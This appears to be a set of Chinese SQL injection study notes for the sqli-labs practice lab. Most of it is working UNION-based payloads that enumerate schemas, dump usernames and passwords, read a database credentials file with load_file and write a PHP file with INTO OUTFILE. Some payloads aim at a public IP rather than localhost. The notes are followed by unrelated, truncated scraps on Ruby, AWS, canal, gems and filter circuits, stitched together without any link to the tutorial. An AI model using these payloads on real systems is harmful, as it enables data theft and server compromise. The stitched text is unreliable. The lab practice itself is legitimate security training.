

http://localhost:8085/sqli-labs/Less-2/index.php?id=2

id=2 正常查询
http://localhost:8085/sqli-labs/Less-2/index.php?id=-2

id=-2的话什么都查不出来,表中没有负数的 id。
http://localhost:8085/sqli-labs/Less-2/index.php?id=-2%20union%20select%201,%20email_id,%203%20from%20emails

用union查询邮箱就查出来了。

1、2、3、4都可能注入。

b、c正确。
:::warning
a 注入的是参数 y
d 注入的是 参数 xx
只要 b 和 c 注入参数 x
:::
sqli-labs下载地址: https://github.com/Audi-1/sqli-labs
phpstudy下载地址:https://www.xp.cn/
注意:sqli-labs要在php5.x版本使用,7.x版本不能用,在phpstudy中切换成php5.x的版本。
如何判断注入点?
老办法:
那么可能存在注入点。
SELECT * FROM users WHERE id = 1 and 1 = 1 LIMIT 0, 1 正常
SELECT * FROM users WHERE id = 1 and 1 = 2 LIMIT 0, 1 错误
要选用最舒服的方法测试。
新方法:
http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 4 正常
http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 5 错误
第一个报错的列数是5,那么就有4列。
union注入前后两条语句字段数相同,不然报错。
http://localhost:8085/sqli-labs/Less-2/index.php?id=1 union select 1, 2, 3, 4
将id=-1,前面的查询就不会成功
http://localhost:8085/sqli-labs/Less-2/index.php?id=-1 union select 1, 2, 3, 4
网页显示的数字是就是回显位置 ,1、2、3、4 其中的几个或一个。
信息收集
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, version(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, database(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, user(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, @@version_compile_os, 2, 3, 4

知识点:
information_schema.tables: 记录所有表名信息的表
information_schema.colums: 记录所有列名信息的表
table_name: 表名
colunn_nane: 列名
table_schema: 数据库名
当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据。
mysql> use information_schema;
Database changed
mysql> SELECT * FROM SCHEMATA;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def | mysql | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
| def | information_schema | utf8 | utf8_general_ci | NULL | NO |
| def | performance_schema | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO
|
| def | sys | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO
|
|
| def | security | gbk | gbk_chinese_ci | NULL | NO
|
| def | challenges | gbk | gbk_chinese_ci | NULL | NO
|
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
6 rows in set (0.00 sec)
所以查出数据库名后,根据数据库名在information_schem数据库中的tables中查表名和在columns中查列名。
查询指定数据库名mozhe_Discuz_stormGroup下的表名信息:
http://219.153.49.228:48354/new_list.php?id=-1 union select
1,group_concat (table_name),3,4 from information_schema.tables
where table_schema='mozhe_Discuz_StormGroup'

查询指定表名stozmGzoup_member下的列名信息:
http://219.153.49.228148354/new_list.php?id=-1 union select
1,group_concat(column_name),3,4 from
Information_schema.colums where
table_name='StormGroup_member'

查询指定数据
http://219.153.49.228148354/new_list.php?id=-1 union
select 1,name,password,4 from StormGroup_member

猜解多个数据可以采用limit x, 1 变动猜解。
root用户有最高权限,一般用户只有自己管理的数据库权限。
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1, schema_name, 3 from information_schema.schemata

只有一个数据库名,查询语句最后有limit 0, 1,所以只能查一条数据,用group_concat查出所有库名。
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1, group_concat(schema_name), 3 from information_schema.schemata

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1, group_concat(table_name), 3 from information_schema.tables
where table_schema = 'bookstore'

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union select
1,group_concat(column_name),3 from information_schema.columns
where table_name='user'

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1,username,password from bookstore.user where user.id = 3

常见读取文件列表:
2.2.2.1 读取操作
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1,load_file("D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\sql-connections\\db-creds.inc"),3

可以看到在查看网页源代码页面中有配置文件内容。
注意:本地MySQL要有文件读写权限。
在MySQL的配置文件my.ini中加上secure_file_priv='',然后重启MySQL服务即可。
2.2.2.2 写入操作
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 'Hello', 'World', '!'
into outfile 'D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\hello.php'--+


成功写入内容

魔术引号开关 magic_quote_gpc
魔术引号及常见防护
我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A
在Ruby中是否有Gem或安全删除文件的方法?我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix,一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?
文章目录一、概述简介原理模块二、配置Mysql使用版本环境要求1.操作系统2.mysql要求三、配置canal-server离线下载在线下载上传解压修改配置单机配置集群配置分库分表配置1.修改全局配置2.实例配置垂直分库水平分库3.修改group-instance.xml4.启动监听四、配置canal-adapter1修改启动配置2配置映射文件3启动ES数据同步查询所有订阅同步数据同步开关启动4.验证五、配置canal-admin一、概述简介canal是Alibaba旗下的一款开源项目,Java开发。基于数据库增量日志解析,提供增量数据订阅&消费。Git地址:https://github.co
运行bundleinstall后出现此错误:Gem::Package::FormatError:nometadatafoundin/Users/jeanosorio/.rvm/gems/ruby-1.9.3-p286/cache/libv8-3.11.8.13-x86_64-darwin-12.gemAnerroroccurredwhileinstallinglibv8(3.11.8.13),andBundlercannotcontinue.Makesurethat`geminstalllibv8-v'3.11.8.13'`succeedsbeforebundling.我试试gemin
目录前言滤波电路科普主要分类实际情况单位的概念常用评价参数函数型滤波器简单分析滤波电路构成低通滤波器RC低通滤波器RL低通滤波器高通滤波器RC高通滤波器RL高通滤波器部分摘自《LC滤波器设计与制作》,侵权删。前言最近需要学习放大电路和滤波电路,但是由于只在之前做音乐频谱分析仪的时候简单了解过一点点运放,所以也是相当从零开始学习了。滤波电路科普主要分类滤波器:主要是从不同频率的成分中提取出特定频率的信号。有源滤波器:由RC元件与运算放大器组成的滤波器。可滤除某一次或多次谐波,最普通易于采用的无源滤波器结构是将电感与电容串联,可对主要次谐波(3、5、7)构成低阻抗旁路。无源滤波器:无源滤波器,又称
我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("
我今天看到了一个ruby代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem
我看到其他人也遇到过类似的问题,但没有一个解决方案对我有用。0.3.14gem与其他gem文件一起存在。我已经完全按照此处指示完成了所有操作:https://github.com/brianmario/mysql2.我仍然得到以下信息。我不知道为什么安装程序指示它找不到include目录,因为我已经检查过它存在。thread.h文件存在,但不在ruby目录中。相反,它在这里:C:\RailsInstaller\DevKit\lib\perl5\5.8\msys\CORE\我正在运行Windows7并尝试在Aptana3中构建我的Rails项目。我的Ruby是1.9.3。$gemin
默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因,我不想将附件存储在公共(public)目录中,所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项,因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置,那么我可以这样做,因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来,如果我将图像附件保存在公共(public)目录之外并且不指定url(同
我已经开始使用mysql2gem。我试图弄清楚一些基本的事情——其中之一是如何明确地执行事务(对于批处理操作,比如多个INSERT/UPDATE查询)。在旧的ruby-mysql中,这是我的方法:client=Mysql.real_connect(...)inserts=["INSERTINTO...","UPDATE..WHEREid=..",#etc]client.autocommit(false)inserts.eachdo|ins|beginclient.query(ins)rescue#handleerrorsorabortentirelyendendclient.commi